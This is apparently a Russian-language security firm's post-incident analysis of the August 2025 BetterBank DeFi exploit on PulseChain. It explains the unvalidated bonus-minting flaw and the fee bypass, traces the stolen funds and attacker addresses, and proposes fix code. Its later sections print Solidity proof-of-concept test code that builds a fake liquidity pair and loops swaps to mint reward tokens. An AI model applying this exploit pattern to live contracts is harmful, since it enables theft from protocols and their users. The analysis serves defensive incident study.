Краткое содержание
26–27 августа 2025 года протокол децентрализованного финансового сервиса (DeFi-протокол) BetterBank, работающий в сети PulseChain, подвергся атаке с использованием сложного эксплойта для несанкционированного выпуска вознаграждений путем манипуляций с ликвидностью. Первоначальные потери от инцидента оценивались примерно в 5 млн долл. США в цифровых активах. После переговоров, проходивших в блокчейне (ончейн), злоумышленники добровольно вернули часть активов на сумму около 2,7 млн долл. США, что позволило сократить финансовый ущерб — результирующие потери составили около 1,4 млн долл. США. В основе уязвимости лежала фундаментальная недоработка в механизме системы бонусных вознаграждений, а именно — в функции swapExactTokensForFavorAndTrackBonus. Эта функция предназначалась для выпуска бонусных токенов ESTEEM в качестве вознаграждения за каждую операцию обмена (свопа) на токены FAVOR. Однако в ее реализации отсутствовал механизм валидации, проверяющий, что своп осуществляется в рамках легитимного и разрешенного пула ликвидности.
Фирма Zokyo выявила и зафиксировала описанную уязвимость во время аудита безопасности BetterBank, проведенного еще до атаки. Однако из-за документально подтвержденных ошибок в информировании и присвоения угрозе низкой степени критичности команда разработчиков BetterBank не внедрила рекомендованное исправление безопасности. Данный инцидент является наглядным примером того, как недоработки, допущенные на этапе проектирования, в сочетании с бездействием организации в ответ на предупреждения специалистов по безопасности могут привести к серьезным финансовым последствиям в сфере блокчейн-сервисов. Успешная реализация эксплойта злоумышленниками подчеркивает необходимость проведения тщательных аудитов безопасности, четкого формулирования результатов и внедрения многоуровневых механизмов защиты, способных противостоять более изощренным векторам атак.
В этой статье мы проанализируем первопричину инцидента, разберем его последствия и проведем криминалистический ончейн-анализ вспомогательных смарт-контрактов, применявшихся в атаке.
Обзор инцидента
Хронология инцидента
Эксплуатация BetterBank стала кульминацией цепочки событий, начавшейся задолго до самой атаки. В июле 2025 года, примерно за месяц до инцидента, фирма Zokyo провела аудит безопасности протокола BetterBank. В отчете об аудите, опубликованном уже после инцидента, была обозначена критическая уязвимость в системе бонусных вознаграждений протокола. Ее описание было прямым предупреждением о возможном векторе атаки, которым впоследствии воспользовались злоумышленники. Однако на основании задокументированного proof of concept (PoC), в котором использовался тестовый Ether, степень критичности уязвимости в отчете была понижена до категории «Принять к сведению» (Informational), а сама уязвимость была помечена как устраненная (Resolved). При этом команда разработчиков BetterBank так и не внедрила рекомендуемые исправления кода в полной мере.
Атака произошла 26 августа 2025 года. В ходе реагирования на инцидент команда BetterBank опустошила все оставшиеся пулы ликвидности FAVOR, чтобы защитить активы, которые еще не успели выкрасть злоумышленники. Команда также объявила о вознаграждении в размере 20% от оценочной суммы ущерба за содействие в поиске киберпреступников и попыталась инициировать переговоры о возвращении активов.
И эти меры неожиданно сработали. 27 августа 2025 года атакующие вернули значительную часть украденных активов — 550 млн токенов DAI. Частичное возвращение средств является довольно редким исходом в случаях эксплойтов в DeFi-протоколах.
Финансовые последствия
Инцидент имел значительные финансовые последствия для протокола BetterBank и его пользователей. Суммарная стоимость первоначально украденных активов оценивалась примерно в 5 млн долл. США. Атака была направлена на пулы ликвидности, что позволило злоумышленникам несанкционированно вывести комбинацию стейблкоинов и нативных активов сети PulseChain, включая 891 млн токенов DAI, 9,05 млрд токенов PLSX и 7,40 млрд токенов WPLS.
К счастью, позже атакующие вернули 550 млн токенов DAI, что примерно соответствует 2,7 млн долл. США. Возвращенные средства покрыли значительную часть первоначального ущерба, при этом результирующие потери составили примерно 1,4 млн долл. США. Эта сумма, хотя и сниженная благодаря усилиям команды разработчиков протокола, отражает серьезность первоначального эксплойта. Значения из различных источников незначительно различаются из-за колебаний стоимости токенов в реальном времени, но в целом совпадают и соответствуют указанным ключевым суммам.
Соотношение потерь и возвращенных средств представлено в таблице ниже:
| Финансовый показатель | Значение | Подробности |
| Первоначальные общие потери | ~ 5 млн долл. США | Общая стоимость активов, украденных в ходе эксплойта |
| Украденные активы | 891 млн DAI, 9,05 млрд PLSX, 7,40 млрд WPLS | Количество токенов, которые были выведены из пулов ликвидности протокола |
| Возвращенные активы | ~ 2,7 млн долл. США (550 млн DAI) | Стоимость активов, возвращенных атакующими после ончейн-переговоров |
| Результирующие потери | ~ 1,4 млн долл. США | Окончательные невозвратные финансовые потери, понесенные протоколом и его пользователями |
Описание протокола и анализ уязвимости
Протокол BetterBank — это децентрализованная платформа кредитования, работающая в сети PulseChain. Она спроектирована как двухтокеновая система, стимулирующая предоставление ликвидности и активное участие пользователей. Основным токеном является FAVOR, а вторичным — токен ESTEEM, который выполняет роль бонусного вознаграждения. Базовый механизм протокола, отвечающий за начисление вознаграждений пользователям, был напрямую связан с процессом внесения токенов FAVOR в пулы ликвидности на децентрализованных биржах (DEX). В частности, использовалась функция, выпускавшая и распределявшая токены ESTEEM при каждом свопе, на выходе которого были токены FAVOR. На первый взгляд система вознаграждений выглядела простой и прозрачной, однако в ее логике содержался критический изъян, которым впоследствии воспользовались злоумышленники.
Уязвимость заключалась не в ошибке программирования, а в фундаментальном архитектурном просчете. Связав начисление вознаграждения с типовым, невалидируемым условием — появлением токена FAVOR на выходе свопа, — разработчики непреднамеренно создали брешь, пригодную для эксплуатации. Такое проектное решение фактически подразумевало равное доверие ко всем внешним торговым средам и не учитывало, что злоумышленники могут сымитировать доверенную среду в собственных целях. Это распространенная ошибка в экономическом дизайне (токеномике) проектов, когда в системах поощрения уделяется недостаточное внимание механизмам валидации и безопасности, которые должны быть неотъемлемой частью подобной функциональности.
Первопричиной уязвимости с технической точки зрения стала фундаментальная ошибка в логике одного из смарт-контрактов BetterBank. Уязвимость была сосредоточена в функции swapExactTokensForFavorAndTrackBonus, предназначенной для отслеживания свопов и выпуска бонусных токенов ESTEEM. Основная проблема заключалась в том, что функция учитывала лишь факт появления токена FAVOR на выходе свопа, но никак не валидировала происхождение самого свопа. Смарт-контракт не проверял, проводится ли операция через легитимный и разрешенный пул ликвидности или зарегистрированный смарт-контракт. Отсутствие такой проверки создало лазейку, позволившую злоумышленникам развернуть поддельную торговую среду и произвольно активировать систему бонусных вознаграждений.
На эту первичную уязвимость наложились недоработки в токеномике протокола, связанные с возможностью обратной конвертации вознаграждений.
Токены ESTEEM, выпускавшиеся в качестве бонуса, можно было конвертировать обратно в FAVOR, что позволяло сформировать самоподдерживающийся замкнутый цикл. Злоумышленники могли вызвать функцию swapExactTokensForFavorAndTrackBonus для выпуска ESTEEM, затем конвертировать свежевыпущенные ESTEEM в FAVOR, использовать полученные FAVOR для инициирования дальнейших свопов и тем самым вызвать выпуск еще большего количества бонусных ESTEEM. Зациклив этот процесс, атакующие получили возможность сгенерировать практически неограниченное количество токенов и опустошить реальные резервы протокола. Такое сочетание уязвимой логики и непродуманной токеномики сформировало эффективный вектор атаки, который после запуска очень сложно сдержать.
Кратко подытожим: эксплойт BetterBank был вызван критической уязвимостью в системе выпуска бонусных токенов, которая позволила атакующим создать поддельные пары ликвидности и сгенерировать неограниченное количество бонусных токенов ESTEEM. Как уже отмечалось, система не отличала легитимные пары ликвидности от поддельных, что позволило злоумышленникам сфальсифицировать торговые пары. Хотя в BetterBank были реализованы меры защиты от ряда экономических векторов атак — в частности, комиссия за перевод токенов — атакующим удалось обойти эти механизмы.
Подробный анализ эксплойта
Эксплойт был направлен на систему выпуска бонусных токенов в смарт-контракте favorPLS.sol — в частности, на функцию logBuy() и связанную с ней комиссионную логику. Ключевые уязвимые компоненты:
- Файл:
favorPLS.sol - Уязвимая функция:
logBuy(address user, uint256 amount) - Вспомогательная функция:
calculateFavorBonuses(uint256 amount) - Комиссионная логика: функция
_transfer()
Функция logBuy() проверяет лишь то, что вызывающая сторона является одобренной оберткой для покупки (buy wrapper), но не выполняет проверку легитимности торговой пары или источника ликвидности.
|
1 2 3 4 5 6 7 8 |
function logBuy(address user, uint256 amount) external { require(isBuyWrapper[msg.sender], "Only approved buy wrapper can log buys"); (uint256 userBonus, uint256 treasuryBonus) = calculateFavorBonuses(amount); pendingBonus[user] += userBonus; esteem.mint(treasury, treasuryBonus); emit EsteemBonusLogged(user, userBonus, treasuryBonus); |
Комиссия применяется только к переводам на легитимные адреса из разрешенного списка, отмеченные как «рыночная пара» — isMarketPair[recipient]. Очевидно, поддельные и неавторизованные пулы ликвидности отсутствуют в этом списке, поэтому к ним не применяется комиссия 50% за перевод — максимальное значение, установленное владельцами протокола.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
function _transfer(address sender, address recipient, uint256 amount) internal override { uint256 taxAmount = 0; if (_isTaxExempt(sender, recipient)) { super._transfer(sender, recipient, amount); return; } // За перевод на адреса из рыночных пар обычно взимается комиссия if (isMarketPair[recipient]) { taxAmount = (amount * sellTax) / MULTIPLIER; } if (taxAmount > 0) { super._transfer(sender, treasury, taxAmount); amount -= taxAmount; } super._transfer(sender, recipient, amount); } |
Смарт-контракт uniswapWraper.sol содержит функции обертки, которые вызывают logBuy(). Система лишь проверяет, присутствует ли пара в структуре allowedDirectPair. Однако эту проверку можно обойти: злоумышленники могут создать поддельные токены и добавить соответствующие пары в эту структуру, после чего они будут считаться одобренными.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
function swapExactTokensForFavorAndTrackBonus( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint256 deadline ) external { address finalToken = path[path.length - 1]; require(isFavorToken[finalToken], "Path must end in registered FAVOR"); require(allowedDirectPair[path[0]][finalToken], "Pair not allowed"); require(path.length == 2, "Path must be direct"); // ... логика свопа ... uint256 twap = minterOracle.getTokenTWAP(finalToken); if(twap < 3e18){ IFavorToken(finalToken).logBuy(to, favorReceived); } } |
Пошаговая реконструкция атаки
Атака на протокол BetterBank представляла собой не единичную транзакцию, а тщательно спланированную последовательность ончейн-событий. Эксплуатация началась с того, что атакующий получил необходимый капитал с помощью мгновенного займа (flash loan). Функция мгновенного займа, доступная во многих DeFi-протоколах, позволяет занять крупную сумму активов без залога, при условии что заемщик вернет средства в рамках той же атомарной транзакции. Атакующие воспользовались заемными активами, чтобы манипулировать пулами ликвидности протокола.
С помощью средств, полученных через мгновенный заем, злоумышленники атаковали и опустошили реальный пул ликвидности DAI-PDAIF, являющийся базовой частью протокола BetterBank. Этот первый этап важен тем, что позволил ослабить защитные механизмы протокола и предоставил атакующим значительное количество токенов PDAIF, необходимых для реализации схемы выпуска бонусных токенов.
Опустошив реальный пул ликвидности, злоумышленники перешли к следующему этапу операции. Они развернули новый, самодельный токен ERC-20 с фактически нулевой стоимостью. Затем атакующие создали поддельный пул ликвидности на основе пары своего подставного токена и PDAIF, воспользовавшись тем, что архитектура PulseX не требует каких-либо разрешений для подобных операций.
Поддельный пул стал важнейшим элементом эксплойта. Он позволил атакующим контролировать обе стороны торговой пары и манипулировать ценой и ликвидностью во вредоносных интересах, не затрагивая напрямую общий рынок.
Еще одним критически важным элементом, который сделал эту атаку столь прибыльной, стала комиссионная логика протокола. Разработчики BetterBank внедрили механизм взимания повышенных комиссий за массовые свопы с целью предотвращения операций с большими объемами торговли. Однако эта плата бралась только за переводы в парах ликвидности из списка разрешенных. Поскольку пул, созданный злоумышленниками, отсутствовал в этом списке, они получили возможность проводить свопы без комиссий.
Развернув поддельные токен и пул ликвидности, атакующие перешли к финальному, наиболее разрушительному этапу атаки — зацикливанию механизма выпуска бонусных токенов. Для этого они провели серию быстрых свопов между своим токеном с нулевой стоимостью и PDAIF внутри созданного поддельного пула. Каждый своп вызывал уязвимую функцию swapExactTokensForFavorAndTrackBonus в смарт-контракте BetterBank.
Поскольку в этой функции отсутствовала проверка легитимности пула, она инициировала выпуск значительного количества бонусных токенов ESTEEM после каждого свопа, несмотря на то что торговая пара была подставной.
При каждом свопе происходило следующее:
- вызов
swapExactTokensForFavorAndTrackBonus(); - вызов
logBuy(); - вызов
calculateFavorBonuses(); - выпуск токенов ESTEEM (44%-й бонус);
- обход комиссии с помощью поддельного пула ликвидности.
Свежевыпущенные токены ESTEEM затем конвертировались обратно в токены FAVOR, которые использовались в последующих свопах. В результате образовался рекурсивный цикл, позволивший злоумышленникам искусственно генерировать огромное количество бонусных вознаграждений и опустошить реальные резервные активы протокола. Таким образом им удалось извлечь примерно 891 млн токенов DAI, 9,05 млрд токенов PLSX и 7,40 млрд токенов WPLS. Это фактически дестабилизировало работу всего протокола. Успех этой многоуровневой атаки демонстрирует, как одна фундаментальная ошибка в логике в сочетании с несколькими архитектурными недоработками может привести к катастрофическим последствиям.
Стратегия противодействия
Эту атаку можно было предотвратить при наличии соответствующих мер безопасности.
Прежде всего, легитимность пула ликвидности должна проверяться в момент выполнения свопа: пара ликвидности и ее источник должны быть действительными.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
function logBuy(address user, uint256 amount) external { require(isBuyWrapper[msg.sender], "Only approved buy wrapper can log buys"); // ДОБАВИТЬ: валидация пары ликвидности require(isValidLPPair(msg.sender), "Invalid LP pair"); require(hasMinimumLiquidity(msg.sender), "Insufficient liquidity"); require(isVerifiedPair(msg.sender), "Unverified trading pair"); // ДОБАВИТЬ: ограничение количества require(amount <= MAX_SWAP_AMOUNT, "Amount exceeds limit"); (uint256 userBonus, uint256 treasuryBonus) = calculateFavorBonuses(amount); pendingBonus[user] += userBonus; esteem.mint(treasury, treasuryBonus); emit EsteemBonusLogged(user, userBonus, treasuryBonus); } |
Комиссия должна взиматься за все переводы токенов.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
function _transfer(address sender, address recipient, uint256 amount) internal override { uint256 taxAmount = 0; if (_isTaxExempt(sender, recipient)) { super._transfer(sender, recipient, amount); return; } // ИСПРАВИТЬ: применять комиссию ко ВСЕМ переводам, а не только к рыночным парам if (isMarketPair[recipient] || isUnverifiedPair(recipient)) { taxAmount = (amount * sellTax) / MULTIPLIER; } if (taxAmount > 0) { super._transfer(sender, treasury, taxAmount); amount -= taxAmount; } super._transfer(sender, recipient, amount); } |
Чтобы предотвратить масштабные точечные атаки, следует установить ежедневный лимит транзакций, ограничивающий суммарный объем операций одного пользователя 10 тысячами токенов ESTEEM в день.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
mapping(address => uint256) public lastBonusClaim; mapping(address => uint256) public dailyBonusLimit; uint256 public constant MAX_DAILY_BONUS = 10000 * 1e18; // 10 тыс. ESTEEM в день function logBuy(address user, uint256 amount) external { require(isBuyWrapper[msg.sender], "Only approved buy wrapper can log buys"); // ДОБАВИТЬ: ограничение частоты require(block.timestamp - lastBonusClaim[user] > 1 hours, "Rate limited"); require(dailyBonusLimit[user] < MAX_DAILY_BONUS, "Daily limit exceeded"); // Обновление ограничения частоты lastBonusClaim[user] = block.timestamp; dailyBonusLimit[user] += calculatedBonus; // ...оставшаяся часть функции } |
Ончейн-анализ и отслеживание средств
Следы в блокчейне являются однозначным криминалистическим доказательством действий, предпринятых злоумышленниками в ходе реализации эксплойта. Опустошив активы PulseChain, атакующие обменяли украденные токены DAI, PLSX и WPLS на более ликвидные кроссчейн-активы. Затем они перевели ETH примерно на сумму 922 тыс. долл. США из сети PulseChain в основную сеть Ethereum. Для этого злоумышленники использовали второй адрес, начинающийся с 0xf3BA. Вероятно, этот адрес был создан, чтобы не привлекать внимание к основному адресу, с которого осуществлялась атака. Заключительным этапом отмывания средств стал криптомиксер, подобный Tornado Cash, который позволил скрыть происхождение активов и сделать их практически неотслеживаемыми.
Отслеживание потока этих средств оказалось сложной задачей, поскольку многие общедоступные обозреватели блокчейна (block explorer) для сети PulseChain были либо недоступны, либо не содержали достаточных данных на момент инцидента. В этом и заключается сложность реальной ончейн-криминалистики: отсутствие надежного и актуального обозревателя блокчейна существенно осложняет анализ транзакций. В таких случаях выручают обозреватели с открытым исходным кодом, такие как Blockscout, отличающиеся большей устойчивостью и прозрачностью.
В следующей таблице приведены сведения о ключевых объектах в блокчейне, задействованных в атаке:
| Объект | Адрес | Описание |
| Основной аккаунт злоумышленников | 0x48c9f537f3f1a2c95c46891332E05dA0D268869B | Основной внешний аккаунт (externally owned account, EOA), с которого началась атака |
| Второй аккаунт злоумышленников | 0xf3BA0D57129Efd8111E14e78c674c7c10254acAE | Адрес, который использовался для перевода средств в сеть Ethereum |
| Вспомогательные смарт-контракты злоумышленников | 0x792CDc4adcF6b33880865a200319ecbc496e98f8 и др. | Список смарт-контрактов, развернутых злоумышленниками в ходе атаки |
| PulseXRouter02 | 0x165C3410fC91EF562C50559f7d2289fEbed552d9 | Смарт-контракт маршрутизатора децентрализованной биржи PulseX, использовавшийся в ходе атаки |
Нам удалось получить код вспомогательных смарт‑контрактов, использованных злоумышленниками, и продолжить расследование. После тщательного анализа байт-кода и декомпиляции смарт‑контрактов мы пришли к выводу, что архитектура атаки была многоуровневой. В атаке использовался фабричный шаблон смарт‑контракта (0x792CDc4adcF6b33880865a200319ecbc496e98f8), содержащий 18 219 байт встроенного байт-кода, который динамически развертывался во время выполнения. Во встроенном контракте мы обнаружили две простые функции (0x51cff8d9 и 0x529d699e) для инициализации и очистки, а также сложную функцию обратного вызова для мгновенного займа (0x920f5c84) с сигнатурой executeOperation(address[],uint256[],uint256[],address,bytes). Она совпадает со стандартной сигнатурой обработчиков мгновенных займов в таких DeFi-протоколах, как Aave и dYdX. Анализ декомпилированного кода показал, что executeOperation реализует нетривиальную логику парсинга параметров обратного вызова для мгновенного займа, возможность динамического развертывания смарт‑контрактов и сложные взаимодействия внешнего смарт-контракта с маршрутизатором PulseX (0x165c3410fc91ef562c50559f7d2289febed552d9).
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 |
contract BetterBankExploitContract { function main() external { // Инициализация памяти assembly { mstore(0x40, 0x80) } // Откат при переводе ETH if (msg.value > 0) { revert(); } // Проверка минимальной длины данных транзакции (calldata) if (msg.data.length < 4) { revert(); } // Извлечение селектора функции uint256 selector = uint256(msg.data[0:4]) >> 224; // Выбор нужной функции if (selector == 0x51cff8d9) { // Функция: withdraw(address) withdraw(); } else if (selector == 0x529d699e) { // Функция: вероятно, выполнение эксплойта executeExploit(); } else if (selector == 0x920f5c84) { // Функция: executeOperation(address[],uint256[],uint256[],address,bytes) // Это функция обратного вызова для мгновенного займа executeOperation(); } else { revert(); } } // Функция 0x51cff8d9 — вывод средств function withdraw() internal { // Реализовано в виде байт-кода // По всей видимости, выводит средства на адрес атакующих } // Функция 0x529d699e — основная функция эксплойта function executeExploit() internal { // Реализовано в виде байт-кода // Содержит логику эксплойта для протокола BetterBank } // Функция 0x920f5c84 — обратный вызов для мгновенного займа function executeOperation( address[] calldata assets, uint256[] calldata amounts, uint256[] calldata premiums, address initiator, bytes calldata params ) internal { // Это функция обратного вызова мгновенного займа // Содержит логику эксплойта, выполняемую при мгновенном займе } } |
В ходе атаки эксплуатировались три критические уязвимости в протоколе BetterBank: выпуск бонусных токенов без валидации в функции logBuy, которая не проверяет легитимность торговых пар; механизм обхода комиссии за перевод в функции _transfer, которая применяет комиссию 50% только к адресам с пометкой «рыночная пара»; манипулирование оракулом путем имитации торговой активности. Для реализации схемы злоумышленники взяли мгновенные займы на 50 млн токенов DAI и 7,14 млрд токенов PLP, опустошив реальные пулы DAI-PDAIF; создали фиктивные пулы с минимальной ликвидностью на основе пары «подставной токен — PDAIF»; выполнили около 20 итераций фальшивых торговых операций, чтобы спровоцировать массовый выпуск бонусных токенов ESTEEM; сконвертировали полученные вознаграждения в дополнительные токены PDAIF; пополнили пулы ликвидности с выгодными для себя дисбалансами и в результате извлекли прибыль примерно 891 млн DAI через арбитражные операции.
Фрагменты кода PoC
Для демонстрации уязвимостей, позволивших совершить такую атаку, мы изучили фрагменты кода, подготовленные специалистами фирмы Zokyo.
Первым шагом является создание поддельного пула ликвидности путем формирования пары между токеном FAVOR и фиктивным токеном, сгенерированным самими атакующими. Соответственно, пулы ликвидности с участием этого самодельного токена также являются фиктивными.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 |
function _createFakeLPPair() internal { console.log("--- Step 1: Creating Fake LP Pair ---"); vm.startPrank(attacker); // Создание пары fakePair = factory.createPair(address(favorToken), address(fakeToken)); console.log("Fake pair created at:", fakePair); // Добавление первоначальной ликвидности, чтобы создать видимость легитимности uint256 favorAmount = 1000 * 1e18; uint256 fakeAmount = 1000000 * 1e18; // Перевод токенов FAVOR злоумышленникам vm.stopPrank(); vm.prank(admin); favorToken.transfer(attacker, favorAmount); vm.startPrank(attacker); // Утверждение маршрутизатора favorToken.approve(address(router), favorAmount); fakeToken.approve(address(router), fakeAmount); // Добавление ликвидности router.addLiquidity( address(favorToken), address(fakeToken), favorAmount, fakeAmount, 0, 0, attacker, block.timestamp + 300 ); console.log("Liquidity added to fake pair"); console.log("FAVOR in pair:", favorToken.balanceOf(fakePair)); console.log("FAKE in pair:", fakeToken.balanceOf(fakePair)); vm.stopPrank(); } |
Затем эта поддельная пара ликвидности помечается как одобренная путем добавления в структуру allowedDirectPair, что позволяет обойти системную проверку и проводить массовые свопы.
|
1 2 3 4 5 6 7 8 |
function _approveFakePair() internal { console.log("--- Step 2: Approving Fake Pair ---"); vm.prank(admin); routerWrapper.setAllowedDirectPair(address(fakeToken), address(favorToken), true); console.log("Fake pair approved in allowedDirectPair mapping"); } |
Следующие шаги позволяют реализовать эксплойт: выполнить свопы с токенами FAVOR и получить бонусные токены ESTEEM.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
function _executeExploit() internal { console.log("--- Step 3: Executing Exploit ---"); vm.startPrank(attacker); uint256 exploitAmount = 100 * 1e18; // 100 токенов FAVOR в каждом свопе uint256 iterations = 10; // 10 свопов console.log("Performing %d exploit swaps of %d FAVOR each", iterations, exploitAmount / 1e18); for (uint i = 0; i < iterations; i++) { _performExploitSwap(exploitAmount); console.log("Swap %d completed", i + 1); } // Получение накопленных бонусов console.log("Claiming accumulated ESTEEM bonuses..."); favorToken.claimBonus(); vm.stopPrank(); } |
Также мы выполнили единичный своп в локальной среде, чтобы продемонстрировать возникновение рекурсивного цикла, с помощью которого злоумышленники смогли многократно повторять транзакции.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
function _performExploitSwap(uint256 amount) internal { // Выстраивание порядка свопов: FAVOR -> ПОДДЕЛЬНЫЙ ТОКЕН -> FAVOR address[] memory path = new address[](2); path[0] = address(favorToken); path[1] = address(fakeToken); // Утверждение маршрутизатора favorToken.approve(address(router), amount); // Выполнение свопа — приводит к вызову logBuy() и выпуску ESTEEM router.swapExactTokensForTokensSupportingFeeOnTransferTokens( amount, 0, // Принимать любое количество на выходе path, attacker, block.timestamp + 300 ); } |
В конце выполняется ряд проверок, позволяющих убедиться в успешном проведении атаки.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
function _verifyExploitSuccess() internal { uint256 finalFavorBalance = favorToken.balanceOf(attacker); uint256 finalEsteemBalance = esteemToken.balanceOf(attacker); uint256 esteemMinted = esteemToken.totalSupply() - initialEsteemBalance; console.log("Attacker's final FAVOR balance:", finalFavorBalance / 1e18); console.log("Attacker's final ESTEEM balance:", finalEsteemBalance / 1e18); console.log("Total ESTEEM minted during exploit:", esteemMinted / 1e18); // Проверка ожидаемых результатов атаки assertGt(finalEsteemBalance, 0, "Attacker should have ESTEEM tokens"); assertGt(esteemMinted, 0, "ESTEEM tokens should have been minted"); console.log("EXPLOIT SUCCESSFUL!"); console.log("Attacker gained ESTEEM tokens without legitimate trading activity"); } |
Заключение
Эксплуатация BetterBank представляла собой многоуровневую атаку, потребовавшую точного технического исполнения и глубокого понимания архитектурных недостатков, допущенных при проектировании протокола. Атака стала возможна из-за отсутствия валидации в логике выпуска бонусных токенов, что позволило бесконечно генерировать средства из поддельного пула ликвидности. Эта техническая уязвимость усугубилась организационными проблемами: критическая ошибка, выявленная во время аудита, была понижена в уровне серьезности и не была устранена.
Инцидент служит показательным уроком для разработчиков, аудиторов и инвесторов. Он демонстрирует, что безопасность децентрализованного протокола — это коллективная ответственность всех участников экосистемы, требующая постоянного внимания. Уязвимость возникла не просто из-за ошибки в коде, а вследствие архитектурного просчета, создавшего брешь для эксплуатации. Замешательство и кризисные коммуникации, последовавшие за атакой, наглядно показывают последствия недопонимания между экспертами по безопасности и командами разработчиков протоколов. Частичное возвращение средств, хотя и является позитивным исходом, не должно затмевать главный вывод: в мире децентрализованных финансов каждая строка кода критически важна, каждая находка аудиторов должна восприниматься со всей серьезностью и каждый протокол обязан внедрять проактивную многоуровневую защиту, способную противостоять сложным и постоянно эволюционирующим угрозам.








Анализ уязвимости в логике системы вознаграждений BetterBank